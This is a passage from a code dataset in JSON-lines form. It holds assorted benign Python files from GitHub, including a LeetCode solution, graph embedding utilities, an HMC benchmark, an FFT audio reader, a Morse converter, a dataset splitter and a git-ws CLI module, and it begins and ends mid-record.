{'action': 'do', 'callback': 'state2', 'errback': 'start'}\n ,'abbruch':{'action':'da', 'callback':'error', 'errback':'error'}})\nstate2 = State2('state2', \n {'weiter':{'action':'do', 'callback':'success', 'errback':'state2'}\n ,'abbruch':{'action':'da', 'callback':'error', 'errback':'error'}})\nsuccess = Success('success')\nerror = ErrState('error')\n\nstates = {\n\t'start': start_state,\n\t'state2': state2,\n\t'success': success,\n\t'error': error\n}\nstartState = start_state\nendStates = {\n\t'success': success,\n\t'error': error\n}\n","repo_name":"laidback/tx-state-machine","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21203869494","text":"'''\nCreated on Feb 11, 2017\n\n@author: MT\n'''\n# Definition for a point.\nclass Point(object):\n def __init__(self, a=0, b=0):\n self.x = a\n self.y = b\n\nclass Solution(object):\n def maxPoints(self, points):\n \"\"\"\n :type points: List[Point]\n :rtype: int\n \"\"\"\n n = len(points)\n if not points: return 0\n if n <= 2: return n\n res = 0\n for i in range(n):\n hashmap = {}\n dup = 0\n tmpMax = 0\n for j in range(i+1, n):\n x = points[j].x-points[i].x\n y = points[j].y-points[i].y\n if x == 0 and y == 0:\n dup += 1\n continue\n gcd = self.gcd(x, y)\n if gcd:\n x //= gcd\n y //= gcd\n if x in hashmap:\n if y in hashmap[x]:\n hashmap[x][y] += 1\n else:\n hashmap[x][y] = 1\n else:\n hashmap0 = {}\n hashmap0[y] = 1\n hashmap[x] = hashmap0\n tmpMax = max(tmpMax, hashmap[x][y])\n res = max(res, tmpMax+dup+1)\n return res\n \n def gcd(self, a, b):\n if b == 0: return a\n return self.gcd(b, a%b)\n \n def maxPoints_slope(self, points):\n \"\"\"\n :type points: List[Point]\n :rtype: int\n \"\"\"\n if not points: return 0\n maxVal = 0\n n = len(points)\n for i in range(n):\n duplicate, vertical = 1, 0\n hashmap = {}\n for j in range(i+1, n):\n if points[i].x == points[j].x:\n if points[i].y == points[j].y:\n duplicate += 1\n else:\n vertical += 1\n else:\n if points[j].y == points[i].y:\n slope = 0.0\n else:\n slope = float(points[j].y-points[i].y)/(points[j].x-points[i].x)\n if slope not in hashmap:\n hashmap[slope] = 1\n else:\n hashmap[slope] += 1\n for count in hashmap.values():\n if count + duplicate > maxVal:\n maxVal = count + duplicate\n maxVal = max(vertical+duplicate, maxVal)\n return maxVal\n \n def test(self):\n testCases = [\n [[1,1],[2,2],[3,3]],\n [[0,0],[94911151,94911150],[94911152,94911151]],\n ]\n for l in testCases:\n points = [Point(x[0], x[1]) for x in l]\n print('points: %s' % (l))\n result = self.maxPoints(points)\n print('result: %s' % (result))\n print('-='*20+'-')\n\nif __name__ == '__main__':\n Solution().test()\n ","repo_name":"syurskyi/Algorithms_and_Data_Structure","sub_path":"_algorithms_challenges/leetcode/LeetcodePythonProject/leetcode_0101_0150/LeetCode149_MaxPointsOnALine.py","file_name":"LeetCode149_MaxPointsOnALine.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"71764471142","text":"from tkinter import *\nfrom tkinter import ttk\nimport time\n\n\nclass Ball:\n\tdef __init__(self):\n\t\tself.stateBall = 'down'\n\t\tself.ball = canvas.create_oval(10, 10, 30, 30, fill = 'red') \n\tdef move(self):\n\t\tif self.stateBall == 'down':\n\t\t\tcanvas.move(self.ball, 0, 5)\n\t\t\tif canvas.coords(self.ball)[3] == 300:\n\t\t\t\tself.stateBall = 'up'\n\n\t\telse :\n\t\t\tcanvas.move(self.ball, 0, -5)\t\t\t\n\t\t\tif canvas.coords(self.ball)[1] == 0:\n\t\t\t\tself.stateBall = 'down'\n\nroot = Tk()\n\ncanvas = Canvas(root, width = 300, height = 300)\ncanvas.pack()\n\nb = Ball()\n\nwhile True:\n\tb.move()\n\ttime.sleep(0.03)\n\troot.update()\n\t\nroot.mainloop()","repo_name":"TranHuuThuy-BKHN/Python","sub_path":"ttk/canvas.py","file_name":"canvas.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73446953060","text":"\nimport numpy as np\nfrom scipy.sparse.linalg import eigs\n\ndef Eigen_Reweighting(X,order,coef):\n# X: original eigenvalues\n# order: order, -1 stands for infinity\n# coef: weights, decaying constant if order = -1\n# return: reweighted eigenvalues\n if order == -1: # infinity\n assert len(coef) == 1, 'Eigen_Reweighting wrong.'\n coef = coef[0]\n assert np.max(np.absolute(X)) * coef < 1, 'Decaying constant too large.'\n X_H = np.divide(X, 1 - coef * X)\n else:\n assert len(coef) == order, 'Eigen_Reweighting wrong.'\n X_H = coef[0] * X\n X_temp = X\n for i in range(1,order):\n X_temp = np.multiply(X_temp,X)\n X_H += coef[i] * X_temp\n return X_H\n\n\ndef Eigen_TopL(A, d):\n# A: N x N symmetric sparse adjacency matrix\n# d: preset dimension\n# return: top-L eigen-decomposition of A containing at least d positive eigenvalues\n # assert np.all(A.T == A), 'The matrix is not symmetric!'\n L = d + 10\n lambd = np.array([0])\n while sum(lambd > 0) < d: # can be improved to reduce redundant calculation if L <= 2d + 10 not hold\n L = L + d\n lambd, X = eigs(A, L)\n lambd, X = lambd.real, X.real\n # only select top-L\n temp_index = np.absolute(lambd).argsort()[::-1]\n lambd = lambd[temp_index]\n temp_max, = np.where(np.cumsum(lambd > 0) >= d)\n lambd, temp_index = lambd[:temp_max[0]+1], temp_index[:temp_max[0]+1]\n X = X[:,temp_index]\n return lambd, X\n\n\ndef Shift_Embedding(lambd, X, order, coef, d):\n# lambd, X: top-L eigen-decomposition \n# order: a number indicating the order\n# coef: a vector of length order, indicating the weights for each order\n# d: preset embedding dimension\n# return: content/context embedding vectors\n lambd_H = Eigen_Reweighting(lambd,order,coef) # High-order transform\n temp_index = np.absolute(lambd_H).argsort()[::-1] # select top-d\n temp_index = temp_index[:d+1]\n lambd_H = lambd_H[temp_index]\n lambd_H_temp = np.sqrt(np.absolute(lambd_H))\n U = np.dot(X[:,temp_index], np.diag(lambd_H_temp)) # Calculate embedding\n V = np.dot(X[:,temp_index], np.diag(np.multiply(lambd_H_temp, np.sign(lambd_H))))\n return U, V\n\n \ndef AROPE(A, d, order, weights):\n# A: adjacency matrix A or its variations, sparse scipy matrix\n# d: dimensionality \n# r different high-order proximity:\n # order: 1 x r vector, order of the proximity\n # weights: 1 x r list, each containing the weights for one high-order proximity\n# return: 1 x r list, each containing the embedding vectors \n A = A.asfptype()\n lambd, X = Eigen_TopL(A, d)\n r = len(order)\n U_output, V_output = [], []\n for i in range(r):\n U_temp, V_temp = Shift_Embedding(lambd, X, order[i], weights[i], d)\n U_output.append(U_temp)\n V_output.append(V_temp)\n return U_output, V_output\n\n","repo_name":"ZW-ZHANG/AROPE","sub_path":"python/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"35"} +{"seq_id":"32541667826","text":"import argparse\nimport time\n\nimport numpy as onp\n\nfrom jax import random\nfrom jax.config import config as jax_config\nimport jax.numpy as np\n\nimport numpyro.distributions as dist\nfrom numpyro.examples.datasets import COVTYPE, load_dataset\nfrom numpyro.handlers import sample\nfrom numpyro.hmc_util import initialize_model\nfrom numpyro.mcmc import mcmc\n\n\ndef _load_dataset():\n _, fetch = load_dataset(COVTYPE, shuffle=False)\n features, labels = fetch()\n\n # normalize features and add intercept\n features = (features - features.mean(0)) / features.std(0)\n features = np.hstack([features, np.ones((features.shape[0], 1))])\n\n # make binary feature\n _, counts = onp.unique(labels, return_counts=True)\n specific_category = np.argmax(counts)\n labels = (labels == specific_category)\n\n N, dim = features.shape\n print(\"Data shape:\", features.shape)\n print(\"Label distribution: {} has label 1, {} has label 0\"\n .format(labels.sum(), N - labels.sum()))\n return features, labels\n\n\ndef model(data, labels):\n dim = data.shape[1]\n coefs = sample('coefs', dist.Normal(np.zeros(dim), np.ones(dim)))\n logits = np.dot(data, coefs)\n return sample('obs', dist.Bernoulli(logits=logits), obs=labels)\n\n\ndef benchmark_hmc(args, features, labels):\n step_size = np.sqrt(0.5 / features.shape[0])\n trajectory_length = step_size * args.num_steps\n rng = random.PRNGKey(1)\n if args.num_chains > 1:\n rng = random.split(rng, args.num_chains)\n init_params, potential_fn, _ = initialize_model(rng, model, features, labels)\n\n start = time.time()\n mcmc(0, args.num_samples, init_params, num_chains=args.num_chains,\n potential_fn=potential_fn, trajectory_length=trajectory_length)\n print('\\nMCMC elapsed time:', time.time() - start)\n\n\ndef main(args):\n jax_config.update(\"jax_platform_name\", args.device)\n features, labels = _load_dataset()\n benchmark_hmc(args, features, labels)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"parse args\")\n parser.add_argument('-n', '--num-samples', default=100, type=int, help='number of samples')\n parser.add_argument('--num-steps', default=10, type=int, help='number of steps (for \"HMC\")')\n parser.add_argument('--num-chains', nargs='?', default=1, type=int)\n parser.add_argument('--algo', default='NUTS', type=str, help='whether to run \"HMC\" or \"NUTS\"')\n parser.add_argument('--device', default='cpu', type=str, help='use \"cpu\" or \"gpu\".')\n args = parser.parse_args()\n main(args)\n","repo_name":"leej35/numpyro","sub_path":"examples/covtype.py","file_name":"covtype.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"26275864194","text":"#!/usr/bin/env python\n\nimport itertools\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n\nplt.figure(figsize=(8.27, 11.69))\nimage = mpimg.imread('test_image.png')\n\nLx = 1.2\nLy = 1.6\nNx = 6\nNy = 8\neps = 1.0 / 20.0\ndx = Lx / Nx\ndy = Ly / Ny\nfor ix, iy in itertools.product(range(Nx), range(Ny)):\n left = (ix + eps) * dx\n right = (ix + 1 - eps) * dx\n bottom = (iy + eps) * dy\n top = (iy + 1 - eps) * dy\n plt.imshow(image, origin='upper', extent=[left, right, bottom, top])\nplt.xlim(0, Lx)\nplt.ylim(0, Ly)\nplt.gca().axis('off')\nplt.savefig('fig_a4.pdf')\n","repo_name":"tcompa/scripts","sub_path":"matplotlib/display_image/display_multiple_images.py","file_name":"display_multiple_images.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"7907199276","text":"#!/usr/local/bin/python\n\nimport sys\nimport nltk\nfrom nltk.parse.stanford import StanfordParser\nfrom nltk.parse.stanford import StanfordDependencyParser\nfrom nltk.parse.stanford import StanfordNeuralDependencyParser \nfrom nltk.tag.stanford import StanfordPOSTagger, StanfordNERTagger \nfrom nltk.tokenize.stanford import StanfordTokenizer\nfrom nltk.tree import Tree\n\ndef printSentence(sentList):\n\tfor line in sentList:\n\t\tprint(line)\n\t\tline.draw()\n\ndef parseSentence(inputSentence):\n\tparser=StanfordParser(model_path=\"edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz\")\n\tparsedSentence=parser.raw_parse(inputSentence)\n\tprintSentence(parsedSentence)\n\ndef dependencyParser(inputSentence):\n\tdepParser = StanfordDependencyParser(model_path=\"edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz\")\n\tdepSentence = [parse.tree() for parse in depParser.raw_parse(inputSentence)]\n\tprintSentence(depSentence)\n\nif __name__ == '__main__':\n\tif len(sys.argv) != 2:\n\t\tprint(\"parse_show_tree \")\n\telse:\n\t\tprint(\"Generating the parse tree....\")\n\t\tparseSentence(sys.argv[1])\n\t\tprint(\"Generating the dependency tree....\")\n\t\tdependencyParser(sys.argv[1])\n","repo_name":"Arun-George-Zachariah/QIK-IR-ClipCap","sub_path":"scripts/util_scripts/parse_show_tree.py","file_name":"parse_show_tree.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"11474838674","text":"import matplotlib.pyplot as plt\nfrom scipy.io import wavfile # get the api\nfrom math import pi\nimport cmath\nimport numpy as np\nimport datetime\n\ndef shift_bit_length(x):\n return 1<<(x-1).bit_length()\n\ndef padpad(data, iterations = 1): #This function is used when the array of data read in from the wav file isn't a power\n narray = data # of 2. It zero pads the array in the front and back - this doesn't impact the analysis\n for i in range(iterations):\n length = len(narray)\n diff = shift_bit_length(length + 1) - length\n if length % 2 == 0:\n pad_width = int(diff / 2)\n else:\n # need an uneven padding for odd-number lengths\n left_pad = int(diff / 2)\n right_pad = diff - left_pad\n pad_width = (left_pad, right_pad)\n narray = np.pad(narray, pad_width, 'constant')\n return narray\n\ndef plotWaveFile(array_of_data):\n d = int(len(array_of_data) / 2) # you only need half of the fft list (real signal symmetry)\n\n plt.plot(np.abs(array_of_data[:(d - 1)]), 'r') #goes through each abs value of the frequencies and plots them\n plt.show()\n\ndef readWavFile(filename):\n plotSoundFile(filename)\n fs, data = wavfile.read(filename) # load the data\n a = data.T[0:data.size] # this is a two channel soundtrack, I get the first track\n b=[(ele/2**8.)*2-1 for ele in a] # this is 8-bit track, b is now normalized on [-1,1)\n\n b = padpad(b) #always zero pad extend, if it's already a power of two this won't matter\n\n print(len(b))\n start = datetime.datetime.now()\n c = fft(b) # calculate fourier transform (complex numbers list)\n elapsed = datetime.datetime.now() - start\n print(elapsed)\n plotWaveFile(c) #plot the result of the frequency transform\n\ndef fft(x):\n N = len(x)\n if N <= 1: return x #divide and conquer algorithm of the FFT\n even = fft(x[0::2])\n odd = fft(x[1::2])\n T= [cmath.exp(-2j*pi*k/N)*odd[k] for k in range(N//2)]\n return [even[k] + T[k] for k in range(N//2)] + \\\n [even[k] - T[k] for k in range(N//2)]\n\ndef plotSoundFile(filename):\n input_data = wavfile.read(filename)\n audio = input_data[1]\n # plot the first 1024 samples\n plt.plot(audio[0:735968])\n # label the axes\n plt.ylabel(\"Amplitude\")\n plt.xlabel(\"Time\")\n # set the title\n plt.title(\"Sample Wav\")\n # display the plot\n plt.show()\n\n#findjob - 65 -- Time: 1.303061\n#interruption - 130 Time:\n#lead - 260\n#america - 524\n\n\n\nfilename = 'OJDaJuiceMan.wav'\nreadWavFile(filename)","repo_name":"Nico-Rode/FFT-wav-reader","sub_path":"WavReader.py","file_name":"WavReader.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37080728126","text":"from Morse import *\nimport RPi.GPIO as GPIO\nfrom time import sleep\n\nif __name__ == '__main__':\n GPIO.setmode(GPIO.BOARD)\n GPIO.setwarnings(False)\n pin = 3\n GPIO.setup(pin, GPIO.OUT)\n DOT = 0.075 # Constant for duration of one dot in Morse Code\n cvt = Morse(pin, DOT)\n\n sentence = input(\"Enter the sentence to be converted (all lower case, use only '.' as punctuation): \")\n cvt.convert_and_play(sentence)\n","repo_name":"Esad-U/Morse-Code-Converter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41681967633","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport pandas as pd\nimport ast\n\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\n\nfrom sklearn.metrics import accuracy_score\n\nfrom config import train_data_path\nfrom config import validate_data_path\nfrom config import test_data_path\n\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom keras.preprocessing.sequence import pad_sequences\n\nimport numpy as np\nimport pandas as pd\n\n\ndef load_data_from_json(file_name):\n file_data = open(file_name)\n\n list_data = []\n while 1:\n line = file_data.readline()\n if not line:\n break\n sample_dict = ast.literal_eval(str(line).replace('\\n', ''))\n list_data.append(sample_dict)\n df = pd.DataFrame(list_data)\n return df\n\n\ndef get_accuracy_score(y_true, y_pred):\n return accuracy_score(y_true, y_pred)\n\n\ndef get_f1_score(y_true, y_pred):\n return f1_score(y_true, y_pred, labels=[1, 0], average='macro')\n\n\ndef get_precision_score(y_true, y_pred):\n return precision_score(y_true, y_pred, labels=[1, 0], average='macro')\n\n\ndef get_recall_score(y_true, y_pred):\n return recall_score(y_true, y_pred, labels=[1, 0], average='macro')\n\n\n############## data process #############\n\ndef get_x_and_y_for_train_dev_test():\n df_train = load_data_from_json(train_data_path)\n x_train, y_train = df_train['sentence'], df_train['label']\n\n df_dev = load_data_from_json(validate_data_path)\n x_dev, y_dev = df_dev['sentence'], df_dev['label']\n\n df_test = load_data_from_json(test_data_path)\n x_test, y_test = df_test['sentence'], df_test['label']\n\n return x_train, y_train, x_dev, y_dev, x_test, y_test\n\n\ndef show_metrics_result(y_dev, y_pred_dev, type_str):\n print(\"\\n=====\" + type_str + \" run result=====:\\n\")\n\n print(type_str + \" f1_score: \" + str(get_f1_score(y_true=y_dev, y_pred=y_pred_dev)))\n print(type_str + \" precision_score: \" + str(get_precision_score(y_true=y_dev, y_pred=y_pred_dev)))\n print(type_str + \" recall_score: \" + str(get_recall_score(y_true=y_dev, y_pred=y_pred_dev)))\n\n\n##### deep learning data process ########\n\ndef get_tokenizer(num_words, texts):\n tokenizer = Tokenizer(num_words=num_words)\n\n tokenizer.fit_on_texts(texts=texts)\n\n return tokenizer\n\n\ndef get_train_dev_test_sequences(tokenizer, x_train, x_dev, x_test):\n train_sequences = tokenizer.texts_to_sequences(x_train)\n dev_sequences = tokenizer.texts_to_sequences(x_dev)\n test_sequences = tokenizer.texts_to_sequences(x_test)\n\n return train_sequences, dev_sequences, test_sequences\n\n\ndef get_padded_sequences(maxlen, data_sequences):\n padded_sequences = pad_sequences(data_sequences, maxlen=maxlen)\n\n return padded_sequences\n\n\ndef get_train_dev_test_padded_sequences(maxlen, train_sequences, dev_sequences, test_sequences):\n padded_train_sequences = get_padded_sequences(maxlen, train_sequences)\n\n padded_dev_sequences = get_padded_sequences(maxlen, dev_sequences)\n\n padded_test_sequences = get_padded_sequences(maxlen, test_sequences)\n\n return padded_train_sequences, padded_dev_sequences, padded_test_sequences\n\n\ndef get_coefs(word, *arr):\n try:\n return word, np.asarray(arr, dtype='float32')\n except:\n return None, None\n\n\ndef get_embedding_matrix(embedding_data_path, embed_size, tokenizer, num_words):\n\n # glove.840B.300d.txt\n embeddings_index = dict(get_coefs(*o.strip().split()) for o in\n open(embedding_data_path))\n\n values = list(embeddings_index.values())\n\n all_embs = np.stack(values)\n\n emb_mean, emb_std = all_embs.mean(), all_embs.std()\n\n word_index = tokenizer.word_index\n\n # num_words = MAX_NUM_WORDS\n embedding_matrix = np.random.normal(emb_mean, emb_std, (num_words, embed_size))\n\n oov = 0\n\n for word, i in word_index.items():\n\n if i >= num_words:\n continue\n\n embedding_vector = embeddings_index.get(word)\n\n if embedding_vector is not None:\n embedding_matrix[i] = embedding_vector\n else:\n oov += 1\n\n print(oov)\n\n return embedding_matrix","repo_name":"blaire101/Sentiment-Analysis-Project","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"21098152273","text":"'''\nCreated on Dec 31, 2018\n\n@author: markchristopher\n'''\n\nimport argparse\nimport numpy as np\nimport skimage.io\nimport skimage.exposure\n\nif __name__ == '__main__':\n \n clargs = argparse.ArgumentParser()\n \n # Required arguments\n clargs.add_argument(\n 'matrix_path',\n help = 'Path to npy file.')\n \n # Optional arguments\n clargs.add_argument(\n '-o', '--outpath',\n default = 'image.tif',\n help = \"Path to store output.\")\n \n args = clargs.parse_args()\n \n m = np.load(args.matrix_path)\n \n i = skimage.exposure.rescale_intensity(m, out_range = np.uint8)\n skimage.io.imsave(args.outpath, i.astype(np.uint8))\n ","repo_name":"markachrist/ImageTools","sub_path":"src/matrix_to_image.py","file_name":"matrix_to_image.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14834656658","text":"\"\"\" usage: partition_dataset.py [-h] [-i IMAGEDIR] [-o OUTPUTDIR] [-r RATIO] [-x]\n\nPartition dataset of images into training and testing sets\n\noptional arguments:\n -h, --help show this help message and exit\n -i IMAGEDIR, --imageDir IMAGEDIR\n Path to the folder where the image dataset is stored. If not specified, the CWD will be used.\n -o OUTPUTDIR, --outputDir OUTPUTDIR\n Path to the output folder where the train and test dirs should be created. Defaults to the same directory as IMAGEDIR.\n -r RATIO, --ratio RATIO\n The ratio of the number of test images over the total number of images. The default is 0.1.\n -x, --xml Set this flag if you want the xml annotation files to be processed and copied over.\n\"\"\"\nimport os\nimport re\nfrom shutil import copyfile, move\nimport argparse\nimport math\nimport random\n\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning) \n\n#future changes: adjust so that it can split accordingly to subdirectory (optional)\n\ndef iterate_dir(source, dest, ratio, copy_xml):\n source = source.replace('\\\\', '/')\n dest = dest.replace('\\\\', '/')\n train_dir = os.path.join(dest, 'train')\n test_dir = os.path.join(dest, 'test')\n\n if not os.path.exists(train_dir):\n os.makedirs(train_dir)\n if not os.path.exists(test_dir):\n os.makedirs(test_dir)\n\n images = [f for f in os.listdir(source)\n if re.search(r'([a-zA-Z0-9\\s_\\\\.\\-\\(\\):])+(?i)(.jpg|.jpeg|.png|.JPG|.JPEG)$', f)]\n\n num_images = len(images)\n num_test_images = math.ceil(ratio*num_images)\n num_train_images = num_images - num_test_images\n\n for i in range(num_test_images):\n idx = random.randint(0, len(images)-1)\n filename = images[idx]\n move(os.path.join(source, filename),\n os.path.join(test_dir, filename))\n if copy_xml:\n xml_filename = os.path.splitext(filename)[0]+'.xml'\n move(os.path.join(source, xml_filename),\n os.path.join(test_dir,xml_filename))\n images.remove(images[idx])\n\n for filename in images:\n move(os.path.join(source, filename),\n os.path.join(train_dir, filename))\n if copy_xml:\n xml_filename = os.path.splitext(filename)[0]+'.xml'\n move(os.path.join(source, xml_filename),\n os.path.join(train_dir, xml_filename))\n \n return num_train_images, num_test_images\n\ndef main():\n\n # Initiate argument parser\n parser = argparse.ArgumentParser(description=\"Partition dataset of images into training and testing sets\",\n formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument(\n '-i', '--imageDir',\n dest = \"imageDir\",\n help='Path to the folder where the image dataset is stored. If not specified, the CWD will be used.',\n type=str,\n default=os.getcwd()\n )\n parser.add_argument(\n '-o', '--outputDir',\n dest = \"outputDir\",\n help='Path to the output folder where the train and test dirs should be created. '\n 'Defaults to the same directory as IMAGEDIR.',\n type=str,\n default=None\n )\n parser.add_argument(\n '-r', '--ratio',\n dest = \"ratio\",\n help='The ratio of the number of test images over the total number of images. The default is 0.1.',\n default=0.1,\n type=float)\n parser.add_argument(\n '-x', '--xml',\n help='Set this flag if you want the xml annotation files to be processed and copied over.',\n action='store_true'\n )\n args = parser.parse_args()\n\n if args.outputDir is None:\n args.outputDir = args.imageDir\n\n # Now we are ready to start the iteration\n num_train_images, num_test_images = iterate_dir(args.imageDir, args.outputDir, args.ratio, args.xml)\n\n print(\"--------------------------DATASET SPLIT COMPLETED------------------------------\")\n print(f'Dataset Split Directory: {args.outputDir}')\n print(f\"Dataset Count: Train: {num_train_images}, Test: {num_test_images}\")\n print(\"-------------------------------------------------------------------------------\")\n\nif __name__ == '__main__':\n main()\n\n\n# For example\n# python3 partition_dataset.py -x -i /home/irad/workspace/irad_train/models/arrow_single/dataset/temp/ -r 0.2\n\n# Once the script has finished, two new folders should have been created under bus_stop/dataset, \n# namely dataset/train and dataset/test, containing 80% and 20% of the images (and *.xml files),respectively. \n","repo_name":"fitrijamsari/tensorflow_object_detection_local","sub_path":"script/legacy_script/partition_dataset.py","file_name":"partition_dataset.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35100455011","text":"#!/usr/bin/env python\n\nimport requests\ntry:\n from requests.packages.urllib3.exceptions import InsecureRequestWarning\nexcept ImportError:\n from urllib3.exceptions import InsecureRequestWarning\nfrom st2common.runners.base_action import Action\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) # pylint: disable=no-member\n\n\nclass RequestsMethod(object):\n @staticmethod\n def method(method, url, auth=None, verify_ssl=False, headers=None, params=None, json=None):\n methods = {'get': requests.get,\n 'post': requests.post}\n\n if not params:\n params = dict()\n\n if not json:\n json = dict()\n\n requests_method = methods.get(method)\n response = requests_method(url, auth=auth, headers=headers,\n params=params, json=json, verify=verify_ssl)\n if response.status_code:\n return response.json()\n\n return response.text\n\n\nclass PrometheusAPI(Action):\n def __init__(self, config):\n super(PrometheusAPI, self).__init__(config=config)\n self.api_ext = 'api/v1'\n self.url = self.config.get('url')\n\n def _get(self, url, params):\n return RequestsMethod.method('get', url, params=params)\n\n def get(self, url, endpoint, params):\n uri = \"{}/{}/{}\".format(url, self.api_ext, endpoint)\n return self._get(uri, params)\n","repo_name":"StackStorm-Exchange/stackstorm-prometheus","sub_path":"actions/lib/prometheus.py","file_name":"prometheus.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"} +{"seq_id":"70419577062","text":"import click\nimport tomlkit\n\nfrom gitws import ManifestSpec, ProjectSpec\nfrom gitws._util import as_dict\n\nfrom .common import exceptionhandling, pass_context\nfrom .options import manifest_option\n\n\n@click.group()\ndef dep():\n \"\"\"\n Manage Dependencies.\n \"\"\"\n\n\n@dep.command()\n@click.argument(\"name\")\n@click.option(\"--remote\", help=\"Remote\")\n@click.option(\"--sub-url\", help=\"Sub-URL\")\n@click.option(\"--url\", help=\"URL\")\n@click.option(\"--revision\", help=\"Revision\")\n@click.option(\"--path\", help=\"Path\")\n@click.option(\"--dep-manifest-path\", help=\"Dependency Manifest Path\")\n@click.option(\"--groups\", help=\"Groups\")\n@click.option(\"--with-groups\", help=\"With Groups\")\n@click.option(\"--submodules\", help=\"Submodules\")\n@manifest_option(initial=True)\n@pass_context\ndef add(\n context,\n name,\n manifest_path,\n remote=None,\n sub_url=None,\n url=None,\n revision=None,\n path=None,\n dep_manifest_path=None,\n groups=None,\n with_groups=None,\n submodules=None,\n):\n \"\"\"\n Add Dependency NAME.\n \"\"\"\n with exceptionhandling(context):\n manifest_spec = ManifestSpec.load(manifest_path)\n dependencies = list(manifest_spec.dependencies)\n dependencies.append(\n ProjectSpec(name=name).update_fromstr(\n {\n \"remote\": remote,\n \"sub-url\": sub_url,\n \"url\": url,\n \"revision\": revision,\n \"path\": path,\n \"manifest-path\": dep_manifest_path,\n \"groups\": groups,\n \"with-groups\": with_groups,\n \"submodules\": submodules,\n }\n )\n )\n manifest_spec = manifest_spec.update(dependencies=dependencies)\n manifest_spec.save(manifest_path)\n\n\n_DEP_ATTRIBUTES = tuple(\n (item for item in ProjectSpec(name=\"dummy\").dict(by_alias=True) if item not in (\"linkfiles\", \"copyfiles\"))\n)\n\n\n@dep.command(name=\"set\")\n@manifest_option(initial=True)\n@click.argument(\"dep\")\n@click.argument(\"attribute\", type=click.Choice(_DEP_ATTRIBUTES))\n@click.argument(\"value\")\n@pass_context\ndef set_(context, manifest_path, dep, attribute, value):\n \"\"\"\n Set ATTRIBUTE For Dependency DEP to VALUE.\n \"\"\"\n with exceptionhandling(context):\n manifest_spec = ManifestSpec.load(manifest_path)\n dependencies = list(manifest_spec.dependencies)\n for idx, dependency in enumerate(dependencies):\n if dependency.name == dep:\n break\n else:\n raise ValueError(f\"Unknown dependency {dep!r}\")\n dependencies[idx] = dependencies[idx].update_fromstr({attribute: value if value else None})\n manifest_spec = manifest_spec.update(dependencies=dependencies)\n manifest_spec.save(manifest_path)\n\n\n@dep.command(name=\"list\")\n@manifest_option(initial=True)\n@pass_context\ndef list_(context, manifest_path):\n \"\"\"\n List Dependencies.\n \"\"\"\n with exceptionhandling(context):\n manifest_spec = ManifestSpec.load(manifest_path)\n doc = tomlkit.document()\n doc.add(\"dependencies\", as_dict(manifest_spec)[\"dependencies\"])\n click.echo(tomlkit.dumps(doc))\n\n\n@dep.command()\n@click.argument(\"name\")\n@manifest_option(initial=True)\n@pass_context\ndef delete(context, name, manifest_path):\n \"\"\"\n Delete Dependency NAME.\n \"\"\"\n with exceptionhandling(context):\n manifest_spec = ManifestSpec.load(manifest_path)\n dependencies = list(manifest_spec.dependencies)\n for idx, dep in enumerate(manifest_spec.dependencies):\n if dep.name == name:\n break\n else:\n raise ValueError(f\"Unknown dependency {name!r}\")\n dependencies.pop(idx)\n manifest_spec = manifest_spec.update(dependencies=dependencies)\n manifest_spec.save(manifest_path)\n","repo_name":"c0fec0de/git-ws","sub_path":"gitws/_cli/dep.py","file_name":"dep.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"16161964654","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n'''\n FILE: get.consensus.seq.by.aln.fas.v1.0.py\n USAGE: $ python get.consensus.seq.by.aln.fas.v1.0.py -h\n DESCRIPTION: get the consensus sequence from aligned fasta file\n OPTIONS: -in aln.fas -out consensus.sequence.csv\nREQUIREMENTS: aligned fasta file\n BUGS: bugs\n AUTHOR: guochangjiang(polaris)\n CONTACT: guochangjiang1989@gmail.com\nORGANIZATION: Nanjing University, China\n VERSION: 1.0\n CREATED: 2016/11/9 19:05:04\n UPDATE: 2016/11/9 19:05:04\n\n CHANGE LOGS:\n Version 